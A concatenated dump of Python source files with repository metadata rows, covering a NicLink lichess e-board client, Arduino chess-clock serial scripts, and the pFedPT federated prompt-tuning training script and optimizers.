def game_done(self, game_state: GameState = None) -> None:
"""stop the thread, game should be over, or maybe a rage quit
@param - (GameState) a gamestate telling us how the game ended
@side-effect - changes the external board led's
info on signals:
1 - ring of lights
2 - files 5 to 8 lit up
3 - files 1 to 4 lit up
4 - central line
5 - cross in center
"""
global logger, nl_inst
logger.info("\nGame.game_done(GameState) entered.\n GameState %s",
game_state)
# signal the side that won on the board by lighting up that side
# if there is an external clock, display gameover message
if game_state is not None:
if game_state.winner:
if game_state.winner == "white":
if self.chess_clock:
self.chess_clock.white_won()
nl_inst.signal_lights(3)
elif game_state.winner == "black":
if self.chess_clock:
self.chess_clock.black_won()
nl_inst.signal_lights(2)
else:
# if no winner
self.chess_clock.game_over()
nl_inst.signal_lights(4)
else:
# if no game state was given
if self.chess_clock:
self.chess_clock.game_over()
# signal we dont know wtf with a cross
nl_inst.signal_lights(5)
print("\n[--- %%%%% GAME DONE %%%%% ---]\n")
# tell the user and NicLink the game is through
nl_inst.game_over.set()
nl_inst.beep()
nl_inst.gameover_lights()
sleep(3)
nl_inst.turn_off_all_LEDs()
# stop the thread
raise NicLinkGameOver("Game over")
def await_move_thread(self, fetch_list: list) -> None:
"""await move in a way that does not stop the user from exiting. and when move is found,
set it to index 0 on fetch_list in UCI. This function should be ran in it's own Thread.
"""
global logger, nl_inst
logger.debug("\nGame.await_move_thread(...) entered\n")
try:
move = (nl_inst.await_move()
) # await move from e-board the move from niclink
logger.debug(
"await_move_thread(...): move from chessboard %s. setting it to index 0 of the passed list, \
and setting moved event",
move,
)
fetch_list.insert(0, move)
self.has_moved.set() # set the Event
except KeyboardInterrupt as err:
log_handled_exception(err)
print("KeyboardInterrupt: bye")
sys.exit(0)
except ResponseError as err:
logger.info(
"\nResponseError on make_move(). This causes us to just return\n\n"
)
log_handled_exception(err)
raise NoMove("ResponseError in Game.await_move_thread thread.")
else:
logger.info("Game.await_move_thread(...) Thread got move: %s",
move)
raise SystemExit(
"exiting Game.await_move_thread thread, everything is good.")
def make_move(self, move: str) -> None:
"""make a move in a lichess game with self.gameId
@param - move: UCI move string ie: e4e5
@side_effect: talkes to lichess, sending the move
"""
global logger, nl_inst
logger.info("move made: %s", move)
while not nl_inst.game_over.is_set():
logger.debug(
"make_move() attempt w move: %s nl.game_over.is_set(): %s",
move,
str(nl_inst.game_over.is_set()),
)
try:
if move is None:
raise IllegalMove("Move is None")
self.berserk_board_client.make_move(self.game_id, move)
nl_inst.make_move_game_board(move)
logger.debug("move sent to liches: %s", move)
# once move has been made set self.response_error_on_last_attempt to false and return
self.response_error_on_last_attempt = False
# exit function on success
return
except ResponseError as err:
log_handled_exception(err)
# check for game over or it is not your turn, If so, return
if "Not your turn, or game already over" in str(err):
logger.error(
"Not your turn, or game is already over. Exiting make_move(...)"
)
break
# if not, try again
print(
f"ResponseError: {err}trying again after three seconds. \
Will only try twice before calling game_done")
sleep(3)
if self.response_error_on_last_attempt is True:
self.response_error_on_last_attempt = False
self.game_done()
else:
self.response_error_on_last_attempt = True
continue
except IllegalMove as err:
log_handled_exception(err)
print("Illegal move")
break
def make_first_move(self) -> None:
"""make the first move in a lichess game, before stream starts"""
global nl_inst, logger, REFRESH_DELAY
logger.info("making the first move in the game")
move = nl_inst.await_move()
# HACK:
while move is None:
move = nl_inst.await_move()
sleep(REFRESH_DELAY)
# make the move
self.make_move(move)
def get_move_from_chessboard(self, tmp_chessboard: chess.Board) -> str:
"""get a move from the chessboard, and return it in UCI"""
global nl_inst, logger, REFRESH_DELAY
logger.debug(
"get_move_from_chessboard() entered. Geting move from ext board.\n"
)
# set this board as NicLink game board
nl_inst.set_game_board(tmp_chessboard)
logger.debug(
"NicLink set_game_board(tmp_chessboard) set. board prior to move FEN %s\n FEN I see external: %s\n",
tmp_chessboard.fen(),
nl_inst.get_FEN(),
)
# the move_fetch_list is for getting the move and await_move_thread in a thread is it does not block
move_fetch_list = []
get_move_thread = threading.Thread(target=self.await_move_thread,
args=(move_fetch_list, ),
daemon=True)
get_move_thread.start()
# wait for a move on chessboard
while not nl_inst.game_over.is_set() or self.check_for_game_over(
GameState(self.current_state["state"]
) # TODO: FIND MORE EFFICIENT WAY
):
if self.has_moved.is_set():
move = move_fetch_list[0]
self.has_moved.clear()
return move
sleep(REFRESH_DELAY)
raise NoMove("No move in get_move_from_chessboard(...)")
def update_tmp_chessboard(self, move_list: list[str]) -> chess.Board:
"""create a tmp chessboard with the given move list played on it."""
global nl_inst, logger
# if there is a starting FEN, use it
if self.starting_fen is not None:
tmp_chessboard = chess.Board(self.starting_fen)
else:
tmp_chessboard = chess.Board()
# if the move list is not empty
if move_list != [""]:
for move in move_list:
# make the moves on a board
tmp_chessboard.push_uci(move)
return tmp_chessboard
def move_made(self, game_state: GameState) -> None:
"""signal that the opponent moved, signal the external clock
and NicLink
@param: game_state: the gamestate containing the move
"""
logger.info(
"\nmove_made(self, game_state) entered with GameState: %s",
game_state,
)
# check to make sure the game state has moves first
if game_state.has_moves():
move = game_state.get_last_move()
# tell nl about the move
nl_inst.opponent_moved(move)
# tell the user about the move
nl_inst.beep()
logger.info("move made: %s", move)
# if chess_clock send new timestamp to clock
if self.chess_clock:
if not game_state.first_move():
logger.info("\n\nGameState sent to ChessClock: %s \n",
game_state)
self.chess_clock.move_made(game_state)
def handle_state_change(self, game_state: GameState) -> None:
"""Handle a state change in the lichess game.
@param: GameState - The lichess game state we are handlinng wrapped
in a convenience class
"""
global nl_inst, logger
logger.debug("\ngame_state: %s\n", game_state)
# get all the moves of the game
moves = game_state.get_moves()
# update a tmp chessboard with the current state
tmp_chessboard = self.update_tmp_chessboard(moves)
# check for game over
result = tmp_chessboard.outcome()
if result is not None:
# set the winner var
if result.winner is None:
winner = "no winner"
elif result.winner:
winner = "White"
else:
winner = "Black"
print(
f"\n--- GAME OVER ---\nreason: {result.termination}\nwinner: {winner}"
)
logger.info(
"game done detected, calling game_done(). | result: %s | winner: %s\n",
result,
winner,
)
# stop the thread (this does some cleanup and throws an exception)
self.game_done(game_state=game_state)
# a move was made
self.move_made(game_state)
# if there is a chess clock
if self.chess_clock:
# signal move
self.chess_clock.move_made(game_state)
# is it our turn?
if tmp_chessboard.turn == self.playing_white:
# get our move from chessboard
move = self.get_move_from_chessboard(tmp_chessboard)
# make the move
logger.debug(
"calling make_move(%s) to make the move from the chessboard in lila game",
move,
)
self.make_move(move)
def check_for_game_over(self, game_state: GameState) -> None:
"""check a game state to see if the game is through if so raise an exception."""
global logger, nl_inst
logger.debug(
"check_for_game_over(self, game_state) entered w/ gamestate: %s",
game_state,
)
if game_state.winner:
self.game_done(game_state=game_state)
elif nl_inst.game_over.is_set():
self.game_done()
else:
logger.debug("game not found to be over.")
def handle_chat_line(self, chat_line: str) -> None:
"""handle when the other person types something in gamechat
@param: chat_line - the chat line got from lila
@side_effect: changes lights and beep's chess board
"""
global nl_inst
print(chat_line)
# signal_lights set's lights on the chess board
nl_inst.signal_lights(5)
nl_inst.beep()
nl_inst.beep()
# === helper functions ===
def show_FEN_on_board(FEN) -> None:
"""show board FEN on an ascii chessboard
@param FEN - the fed to display on a board"""
tmp_chessboard = chess.Board()
tmp_chessboard.set_fen(FEN)
print(f"show_FEN_on_board: \n{tmp_chessboard}")
def handle_game_start(game_start: GameStart,
chess_clock: bool | ChessClock = False) -> None:
"""handle game start event
@param game_start: Typed Dict containing the game start info
@param chess_clock: ase we using an external chess clock?
@global berserk_client: client made for ous session with lila
@global game: Game class object, global bc has to be accessed everywhere
"""
global berserk_client, logger, game, nl_inst
# check if game speed is correspondence, skip if !--correspondence set
if not correspondence:
if game_start["game"]["speed"] == "correspondence":
logger.info(
"skipping correspondence game w/ id: %s\n",
game_start["game"]["id"],
)
return
# signal game start
nl_inst.signal_lights(6)
logger.info(
"\nhandle_game_start(GameStart) enterd w game_start: \n %s\n",
str(game_start),
)
game_data = LichessGame(game_start["game"])
game_fen = game_data.fen
msg = (f"\ngame start received: {str(game_start)}\nyou play: %s" %
game_data.colour)
print(msg)
logger.debug(msg)
if game_data.hasMoved:
"""handle ongoing game"""
handle_ongoing_game(game_data)
playing_white = game_data.playing_white()
try:
if game and game.is_alive():
logger.error(
"\nERROR: tried to start a new game while game thread is still alive"
)
raise NicLinkHandlingGame(
"the game thread is still alive, a new game can not be started"
)
game = Game(
berserk_client,
game_data.id,
playing_white,
starting_fen=game_fen,
chess_clock=CHESS_CLOCK,
)
game.daemon = True
logger.info("|| starting Game thread for game with id: %s\n",
game_data.id)
game.start() # start the game thread
except ResponseError as e:
if "This game cannot be played with the Board API" in str(e):
print("cannot play this game via board api")
log_handled_exception(e)
except KeyboardInterrupt:
# mak exig good? IDK
sys.exit(0)
def handle_ongoing_game(game: LichessGame) -> None:
"""handle joining a game that is already underway"""
print("\n$$$ joining game in progress $$$\n")
logger.info("joining game in proggress, game: \n %s", game)
if game.isMyTurn:
print("it is your turn. make a move.")
else:
print("it is your opponents turn.")
def handle_resign(event=None) -> None:
"""handle ending the game in the case where you resign."""
global logger, game
# end the game
if event is not None:
logger.info("handle_resign entered: event: %s", event)
game.game_done(event=event)
else:
logger.info("handle_resign entered with no event")
game.game_done()
# entry point
def main():
"""handle startup, and initiation of stuff"""
global berserk_client, nl_inst, REFRESH_DELAY, logger
print("=== NicLink lichess main entered ===")
simplejson_spec = importlib.util.find_spec("simplejson")
if simplejson_spec is not None:
print("""ERROR: simplejson is installed.
The berserk lichess client will not work with simplejson.
Please remove the module. Aborting.""")
sys.exit(-1)
# init NicLink
try:
nl_inst = NicLinkManager(refresh_delay=REFRESH_DELAY, logger=logger)
nl_inst.start()
except ExitNicLink:
logger.error("ExitNicLink exception caught in main()")
print("Thank's for using NicLink")
sys.exit(0)
except Exception as err:
log_handled_exception(err)
print(f"error: {traceback.format_exc()} on NicLink connection.")
sys.exit(-1)
try:
logger.info("reading token from %s", TOKEN_FILE)
with open(TOKEN_FILE) as f:
token = f.read().strip()
except FileNotFoundError:
logger.error("ERROR: cannot find token file @ ", )
sys.exit(-1)
except PermissionError:
logger.error("ERROR: permission denied on token file")
sys.exit(-1)
try:
session = berserk.TokenSession(token)
except Exception:
e = sys.exc_info()[0]
log_handled_exception(e)
print(f"cannot create session: {e}")
logger.info("cannot create session", e)
sys.exit(-1)
try:
if DEBUG:
berserk_client = berserk.Client(session,
base_url="https://lichess.dev")
else:
berserk_client = berserk.Client(session)
except KeyboardInterrupt as err:
log_handled_exception(err)
print("KeyboardInterrupt: bye")
sys.exit(0)
except Exception:
e = sys.exc_info()[0]
error_txt = f"cannot create lichess client: {e}"
logger.error(error_txt)
print(error_txt)
sys.exit(-1)
# get username
try:
account_info = berserk_client.account.get()
username = account_info["username"]
print(f"\nUSERNAME: {username}\n")
except KeyboardInterrupt:
print("KeyboardInterrupt: bye")
sys.exit(0)
except Exception:
e = sys.exc_info()[0]
logger.error("cannot get lichess account info: %s", e)
print(f"cannot get lichess account info: {e}")
sys.exit(-1)
try:
# main program loop
while True:
try:
logger.debug("==== lichess event loop start ====\n")
print("=== Waiting for lichess event ===")
for event in berserk_client.board.stream_incoming_events():
if event["type"] == "challenge":
logger.info("challenge received: %s", event)
print("\n==== Challenge received ====\n")
print(event)
elif event["type"] == "gameStart":
# wrap the gameStart in a Typed Dict class
gameStart = GameStart(event)
# and handle getting it started
handle_game_start(gameStart)
elif event["type"] == "gameFull":
logger.info("\ngameFull received\n")
handle_resign(event)
print("GAME FULL received")
# check for kill switch
if nl_inst.kill_switch.is_set():
sys.exit(0)
logger.info("berserk stream exited")
sleep(POLL_DELAY)
except KeyboardInterrupt:
logger.info("KeyboardInterrupt: bye")
try:
nl_inst.kill_switch.set()
except Exception as err:
log_handled_exception(err)
finally:
raise ExitNicLink("KeyboardInterrupt in __main__")
except ResponseError as e:
logger.error("Invalid server response: %s", e)
if "Too Many Requests for url" in str(e):
sleep(10)
except NicLinkGameOver:
logger.info("NicLinkGameOver excepted, good game?")
print(
"game over, start another. \nWaiting for lichess event...")
handle_resign()
except ExitNicLink:
print("Have a nice life")
sys.exit(0)
if __name__ == "__main__":
main()
| 29,249 | Python | .py | 710 | 30.591549 | 239 | 0.583081 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,625 | sending_messages.py | nicvagn_NicLink/nicsoft/lichess/external_clock_firmware/sending_messages.py | import serial
import time
arduino = serial.Serial(port="/dev/ttyACM0", baudrate=115200, timeout=0.1)
def write_read(x):
arduino.write(bytes(x, "utf-8"))
time.sleep(0.05)
data = arduino.readline()
return data
def send(message: str):
"""send a message to the external chess clock"""
arduino.write(bytes(message, "ascii"))
while True:
num = input("Enter a number: ")
value = write_read(num)
print(value)
| 444 | Python | .py | 15 | 25.733333 | 74 | 0.689573 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,626 | chess_clock.py | nicvagn_NicLink/nicsoft/lichess/external_clock_firmware/old/chess_clock.py | #! /bin/python
# lcd_display as a part of Niclink
#
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import serial
from time import time
from datetime import timedelta
import logging
# from lichess.__main__ import Game
""" snippet from Arduino sketch
switch (whatToDo) {
case '1':
// asking for time
if (gameOver) { // if the game is over, do not update ts
break;
}
showTimestamp();
break;
case '2':
signalGameOver();
break;
case '3':
// show a str on LED read from Serial
printSerialMessage();
break;
case '4':
// start a new game
newGame();
break;
case '5':
// show the splay
niclink_splash();
break;
case '6':
// white one, and the game is over
white_won();
break;
case '7':
// black won the game
black_won();
break;
case '8':
// game is a draw
drawn_game();
break;
case '@':
//say hello
lcd.clear();
lcd.setCursor(1, 0);
lcd.print("Hi there");
break;
"""
TIMEOUT = 100.0
BAUDRATE = 115200
PORT = "/dev/ttyACM0"
class ChessClock:
"""a controlling class to encapsulate and facilitate interaction's
with Arduino chess clock. Starts the game time when this object is
created
"""
def __init__(
self,
game: Game,
logger=logging.getLogger("clock"),
port=PORT,
baudrate=BAUDRATE,
timeout=TIMEOUT,
) -> None:
"""initialize connection with arduino, and record start time"""
self.logger = logger
self.chess_clock = serial.Serial(port=port, baudrate=baudrate, timeout=timeout)
# the time in seconds from epoch that this ChessClock
# is created. This will be at the start of a game
self.game_start = time()
# the game this timer is for
self.game = game
def update_chess_clock(self) -> None:
"""keep the external timer displaying correct time.
The time stamp should be formatted with both w and b timestamp set up to display
correctly on a 16 x 2 LCD"""
timestamp = self.create_timestamp()
self.logger.info("\nTIMESTAMP: %s \n", timestamp)
self.send_string(timestamp)
def create_timestamp(self) -> str:
timestamp = f"W: { str(self.game.game_state.get_wtime()) } \
B:{ str(self.game.game_state.get_btime()) }"
return timestamp
def game_over(self) -> None:
"""Case 2: signal game over, w ASCII 2"""
self.chess_clock.write("2".encode("ascii"))
def send_string(self, message: str) -> None:
"""Case 3: send a String to the external chess clock"""
self.chess_clock.write("3".encode("ascii"))
# tell the clock we want to display a msg
self.chess_clock.write(message.encode("ascii"))
def new_game(self) -> None:
"""Case 4: signal clock to start a new game"""
self.chess_clock.write("4".encode("ascii"))
def show_splash(self) -> None:
"""Case 5: show the nl splash"""
self.chess_clock.write("5".encode("ascii"))
def white_won(self) -> None:
"""Case 6: show that white won"""
self.chess_clock.write("6".encode("ascii"))
def black_won(self) -> None:
"""Case 7: show that black won"""
self.chess_clock.write("7".encode("ascii"))
def drawn_game(self) -> None:
"""Case 8: show game is drawn"""
self.chess_clock.write("8".encode("ascii"))
if __name__ == "__main__":
print("this is not designed to be run as __main__")
| 4,194 | Python | .py | 116 | 29.646552 | 239 | 0.62719 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,627 | talking_to_aurdino.py | nicvagn_NicLink/nicsoft/lichess/external_clock_firmware/old/talking_to_aurdino.py | import serial
import time
arduino = serial.Serial(port="/dev/ttyACM0", baudrate=115200, timeout=0.1)
def write_read(x):
arduino.write(bytes(x, "utf-8"))
time.sleep(0.05)
data = arduino.readline()
return data
def send(message: str):
"""send a message to the external chess clock"""
pass
while True:
num = input("Enter a number: ")
value = write_read(num)
print(value)
| 410 | Python | .py | 15 | 23.466667 | 74 | 0.685567 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,628 | __main__.py | nicvagn_NicLink/nicsoft/niclink_game/__main__.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
# sys stuff
import sys
import time
import logging
import logging.handlers
import os
import sys
import argparse
import threading
import importlib
import readchar
# debbuging
import pdb
import traceback
# chess stuff
import chess.pgn
import chess
# NicLink shit
from niclink import NicLinkManager
logger = logging.getLogger("NL game")
logger.setLevel(logging.INFO)
# create console handler and set level to debug
ch = logging.StreamHandler()
ch.setLevel(logging.INFO)
# create formatter
formatter = logging.Formatter("%(name)s - %(levelname)s | %(message)s")
# add formatter to ch
ch.setFormatter(formatter)
# add ch to logger
logger.addHandler(ch)
class Game(threading.Thread):
"""a chessgame with stockfish handled in it's own thread"""
def __init__(self, NicLinkManager, playing_white, **kwargs) -> None:
super().__init__(**kwargs)
self.nl_inst = NicLinkManager
# bool of if your playing white
self.playing_white = playing_white
# list of all the game moves
self.moves = []
# is the game over?
self.game_over = False
def check_for_game_over(self) -> None:
"""check if the game is over"""
# is_game_over() will return False or a dictionary with:
# {"over": bool, "winner": str or False, "reason": str}
over_state = self.nl_inst.is_game_over()
if not over_state:
# the game is still going
return
# otherwise, tell the user and exit
if over_state["winner"]:
winner = "Black"
else:
winner = "White"
print(
f"Winner: { winner } reason: {over_state['reason']} \n \
have a nice day."
)
sys.exit(0)
def handle_human_turn(self) -> None:
"""Handle a human turn in the game"""
global logger
logger.info("\n--- human turn ---\n")
try:
move = (
self.nl_inst.await_move()
) # await move from e-board the move from niclink
print(f"move from board: { move }")
except KeyboardInterrupt:
print("Bye!")
sys.exit(0)
logger.info(f"move from chessboard { move }")
# check if the game is done
self.check_for_game_over()
def handle_opponent_turn(self) -> None:
"""handle opponent turn"""
global logger
logger.info("handle opponent turn")
print(f"board after opponent turn:")
self.nl_inst.show_game_board()
# check for game over
self.check_for_game_over()
def start(self) -> None:
"""start playing the game"""
# start by turning off all the lights
self.nl_inst.turn_off_all_leds()
self.run()
def run(self) -> None:
"""run the game thread"""
# main game loop
while True:
if self.playing_white:
# if we go first, go first
self.handle_human_turn()
# do the fish turn
self.handle_opponent_turn()
if not self.playing_white:
# case we are black
self.handle_human_turn()
def main():
# NicLinkManager
nl_inst = NicLinkManager(refresh_delay=2, logger=logger)
nl_inst.connect()
print("\n%%%%%% NicLink vs x %%%%%%\n")
while True:
sf_lvl = input("level (1 - 33):")
if sf_lvl == "i":
print(
"""I found this online, and stole it:
Stockfish 16 UCI_Elo was calibrated with CCRL.
# PLAYER : RATING ERROR POINTS PLAYED (%)
1 master-skill-19 : 3191.1 40.4 940.0 1707 55
2 master-skill-18 : 3170.3 39.3 1343.0 2519 53
3 master-skill-17 : 3141.3 37.8 2282.0 4422 52
4 master-skill-16 : 3111.2 37.1 2773.0 5423 51
5 master-skill-15 : 3069.5 37.2 2728.5 5386 51
6 master-skill-14 : 3024.8 36.1 2702.0 5339 51
7 master-skill-13 : 2972.9 35.4 2645.5 5263 50
8 master-skill-12 : 2923.1 35.0 2653.5 5165 51
9 master-skill-11 : 2855.5 33.6 2524.0 5081 50
10 master-skill-10 : 2788.3 32.0 2724.5 5511 49
11 stash-bot-v25.0 : 2744.0 31.5 1952.5 3840 51
12 master-skill-9 : 2702.8 30.5 2670.0 5018 53
13 master-skill-8 : 2596.2 28.5 2669.5 4975 54
14 stash-bot-v21.0 : 2561.2 30.0 1338.0 3366 40
15 master-skill-7 : 2499.5 28.5 1934.0 4178 46
16 stash-bot-v20.0 : 2452.6 27.7 1606.5 3378 48
17 stash-bot-v19.0 : 2425.3 26.7 1787.0 3365 53
18 master-skill-6 : 2363.2 26.4 2510.5 4379 57
19 stash-bot-v17.0 : 2280.7 25.4 2209.0 4378 50
20 master-skill-5 : 2203.7 25.3 2859.5 5422 53
21 stash-bot-v15.3 : 2200.0 25.4 1757.0 4383 40
22 stash-bot-v14 : 2145.9 25.5 2890.0 5167 56
23 stash-bot-v13 : 2042.7 25.8 2263.5 4363 52
24 stash-bot-v12 : 1963.4 25.8 1769.5 4210 42
25 master-skill-4 : 1922.9 25.9 2690.0 5399 50
26 stash-bot-v11 : 1873.0 26.3 2203.5 4335 51
27 stash-bot-v10 : 1783.8 27.8 2568.5 4301 60
28 master-skill-3 : 1742.3 27.8 1909.5 4439 43
29 master-skill-2 : 1608.4 29.4 2064.5 4389 47
30 stash-bot-v9 : 1582.6 30.2 2130.0 4230 50
31 master-skill-1 : 1467.6 31.3 2015.5 4244 47
32 stash-bot-v8 : 1452.8 31.5 1953.5 3780 52
33 master-skill-0 : 1320.1 32.9 651.5 2083 31
credit: https://chess.stackexchange.com/users/25998/eric\n"""
)
continue
if int(sf_lvl) > 0 and int(sf_lvl) <= 33:
break
else:
print("invalid. Try again")
continue
print("Do you want to play white? (y/n)")
playing_w = readchar.readkey()
playing_white = playing_w == "y"
game = Game(nl_inst, playing_white, stockfish_level=sf_lvl)
print("game started")
if playing_white:
print("make a move please")
game.start()
if __name__ == "__main__":
main()
| 6,863 | Python | .py | 167 | 34.682635 | 239 | 0.591073 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,629 | main.py | hkgdifyu_pFedPT/system/main.py | #!/usr/bin/env python
import sys
print(sys.path)
import copy
import torch
import argparse
import os
print (os.path.expandvars('$HOME'))
import time
import warnings
import numpy as np
from torch.nn.functional import dropout
import torchvision
from flcore.servers.serveravg import FedAvg
from flcore.servers.serverpfedpt import PFedPT
from flcore.trainmodel.models import *
from utils.result_utils import average_data
from utils.mem_utils import MemReporter
warnings.simplefilter("ignore")
def run(args):
time_list = []
reporter = MemReporter()
model_str = args.model
for i in range(args.prev, args.times):
print(f"\n============= Running time: {i}th =============")
print("Creating server and clients ...")
start = time.time()
# Generate args.model
if model_str == "cnn":
if args.dataset == "mnist" or args.dataset == "fmnist":
args.model = FedAvgCNN(in_features=1, num_classes=args.num_classes, dim=1024)
elif args.dataset == "Cifar10" or args.dataset == "Cifar100":
args.model = FedAvgCNN(in_features=3, num_classes=args.num_classes, dim=1600)
elif args.dataset[:13] == "Tiny-imagenet" or args.dataset[:8] == "Imagenet":
args.model = FedAvgCNN(in_features=3, num_classes=args.num_classes, dim=10816)
else:
args.model = FedAvgCNN(in_features=3, num_classes=args.num_classes, dim=1600)
elif model_str == "vit":
if args.dataset == "Cifar10":
args.model = VisionTransformer(num_classes=10)
elif args.dataset[:13] == "Tiny-imagenet":
args.model = VisionTransformer(img_size=64,num_classes=200)
else:
args.model = VisionTransformer(num_classes=100)
else:
raise NotImplementedError
# select algorithm
if args.algorithm == "FedAvg":
server = FedAvg(args, i)
elif args.algorithm == "PFedPT":
if args.dataset == "Tiny-imagenet":
args.generator = copy.deepcopy(PadPrompter(inchanel=1, pad_size=args.num_prompt, image_size=64, args=args))
else:
args.generator = copy.deepcopy(PadPrompter(inchanel=3, pad_size=args.num_prompt, image_size=32, args=args))
args.model = LocalModel_pt(args.generator, args.model)
server = PFedPT(args, i)
else:
raise NotImplementedError
server.train()
time_list.append(time.time() - start)
print(f"\nAverage time cost: {round(np.average(time_list), 2)}s.")
# Global average
# average_data(dataset=args.dataset,
# algorithm=args.algorithm,
# goal=args.goal,
# times=args.times,
# length=args.global_rounds / args.eval_gap + 1)
print("All done!")
reporter.report()
if __name__ == "__main__":
total_start = time.time()
parser = argparse.ArgumentParser()
# general
parser.add_argument('-go', "--goal", type=str, default="test",
help="The goal for this experiment")
parser.add_argument('-dev', "--device", type=str, default="cuda",
choices=["cpu", "cuda"])
parser.add_argument('-did', "--device_id", type=str, default="0")
parser.add_argument('-data', "--dataset", type=str, default="Cifar10")
parser.add_argument('-nb', "--num_classes", type=int, default=10)
parser.add_argument('-m', "--model", type=str, default="cnn")
parser.add_argument('-p', "--predictor", type=str, default="cnn")
parser.add_argument('-lbs', "--batch_size", type=int, default=10)
parser.add_argument('-lr', "--local_learning_rate", type=float, default=0.05,
help="Local learning rate")
parser.add_argument("--learning_decay", type=float, default=1,
help="weight decay")
parser.add_argument('--momentum', type=float, default=0.5,
help='momentum')
parser.add_argument('-gr', "--global_rounds", type=int, default=30)
parser.add_argument('-ls', "--local_steps", type=int, default=5)
parser.add_argument('-algo', "--algorithm", type=str, default="PFedPT")
parser.add_argument('-jr', "--join_ratio", type=float, default=1,
help="Ratio of clients per round")
parser.add_argument('-nc', "--num_clients", type=int, default=10,
help="Total number of clients")
parser.add_argument('-np', "--num_prompt", type=int, default=2,
help="Size of prompt")
parser.add_argument('-pv', "--prev", type=int, default=0,
help="Previous Running times")
parser.add_argument('-t', "--times", type=int, default=1,
help="Running times")
parser.add_argument('-eg', "--eval_gap", type=int, default=1,
help="Rounds gap for evaluation")
parser.add_argument('-dp', "--privacy", type=bool, default=False,
help="differential privacy")
parser.add_argument('-dps', "--dp_sigma", type=float, default=0.0)
parser.add_argument('-sfn', "--save_folder_name", type=str, default='models')
# read-data
parser.add_argument("--arv1", type=str, default="noniid")
parser.add_argument("--arv2", type=str, default="-")
parser.add_argument("--arv3", type=str, default="pat")
parser.add_argument("--arv4", type=str, default="50")
parser.add_argument("--arv5", type=str, default="0.1")
parser.add_argument("--arv6", type=str, default="5")
# pfedpt
parser.add_argument('--pt_learning_rate', type=float, default=20,
help='learning rate')
parser.add_argument('-pls', "--plocal_steps", type=int, default=5)
# practical
parser.add_argument('-dep','--depth', type=int, default=6)
parser.add_argument('-cdr', "--client_drop_rate", type=float, default=0.0,
help="Dropout rate for clients")
parser.add_argument('-tsr', "--train_slow_rate", type=float, default=0.0,
help="The rate for slow clients when training locally")
parser.add_argument('-ssr', "--send_slow_rate", type=float, default=0.0,
help="The rate for slow clients when sending global model")
parser.add_argument('-ts', "--time_select", type=bool, default=False,
help="Whether to group and select clients at each round according to time cost")
parser.add_argument('-tth', "--time_threthold", type=float, default=10000,
help="The threthold for droping slow clients")
args = parser.parse_args()
os.environ["CUDA_VISIBLE_DEVICES"] = args.device_id
if args.device == "cuda" and not torch.cuda.is_available():
print("\ncuda is not avaiable.\n")
args.device = "cpu"
print("=" * 50)
print("Algorithm: {}".format(args.algorithm))
print("Local batch size: {}".format(args.batch_size))
print("Local steps: {}".format(args.local_steps))
print("Local learing rate: {}".format(args.local_learning_rate))
print("Total number of clients: {}".format(args.num_clients))
print("Clients join in each round: {}".format(args.join_ratio))
print("Client drop rate: {}".format(args.client_drop_rate))
print("Time select: {}".format(args.time_select))
print("Time threthold: {}".format(args.time_threthold))
print("Global rounds: {}".format(args.global_rounds))
print("Running times: {}".format(args.times))
print("Dataset: {}".format(args.dataset))
print("Local model: {}".format(args.model))
print("Using device: {}".format(args.device))
if args.device == "cuda":
print("Cuda device id: {}".format(os.environ["CUDA_VISIBLE_DEVICES"]))
print("=" * 50)
run(args)
| 7,895 | Python | .py | 155 | 42.03871 | 123 | 0.614605 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,630 | fedoptimizer.py | hkgdifyu_pFedPT/system/flcore/optimizers/fedoptimizer.py | import torch
from torch.optim import Optimizer
class PerAvgOptimizer(Optimizer):
def __init__(self, params, lr):
defaults = dict(lr=lr)
super(PerAvgOptimizer, self).__init__(params, defaults)
def step(self, beta=0):
for group in self.param_groups:
for p in group['params']:
if p.grad is None:
continue
d_p = p.grad.data
if(beta != 0):
p.data.add_(other=d_p, alpha=-beta)
else:
p.data.add_(other=d_p, alpha=-group['lr'])
class FEDLOptimizer(Optimizer):
def __init__(self, params, lr=0.01, server_grads=None, pre_grads=None, eta=0.1):
self.server_grads = server_grads
self.pre_grads = pre_grads
if lr < 0.0:
raise ValueError("Invalid learning rate: {}".format(lr))
defaults = dict(lr=lr, eta=eta)
super(FEDLOptimizer, self).__init__(params, defaults)
def step(self):
for group in self.param_groups:
i = 0
for p in group['params']:
p.data.add_(- group['lr'] * (p.grad.data + group['eta'] * \
self.server_grads[i] - self.pre_grads[i]))
i += 1
class pFedMeOptimizer(Optimizer):
def __init__(self, params, lr=0.01, lamda=0.1, mu=0.001):
if lr < 0.0:
raise ValueError("Invalid learning rate: {}".format(lr))
defaults = dict(lr=lr, lamda=lamda, mu=mu)
super(pFedMeOptimizer, self).__init__(params, defaults)
def step(self, local_model, device):
group = None
weight_update = local_model.copy()
for group in self.param_groups:
for p, localweight in zip(group['params'], weight_update):
localweight = localweight.to(device)
# approximate local model
p.data = p.data - group['lr'] * (p.grad.data + group['lamda'] * (p.data - localweight.data) + group['mu'] * p.data)
return group['params']
# class pFedMeOptimizer(Optimizer):
